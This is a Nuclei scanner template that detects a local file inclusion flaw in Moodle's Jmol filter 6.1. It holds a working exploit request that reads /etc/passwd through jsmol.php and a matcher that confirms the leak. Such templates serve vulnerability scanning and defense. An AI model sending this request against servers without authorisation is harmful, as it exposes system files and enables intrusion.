id: moodle-filter-jmol-lfi

info:
  name: Moodle Jmol Filter 6.1 - Local File Inclusion
  author: madrobot
  severity: high
  description: Moodle is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/46881
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:F/RL:W/RC:C
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: moodle,lfi,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 4b0a00483046022100f94185a8eabe63f53fbb9f491b50762b1b2d0cf5e86a0659f1ba8980e32c601102210096118270c1fa4708ceef2e9dac7592366eefe698b670ab81c5867034daa2833f:922c64590222798bb761d5b6d8e72950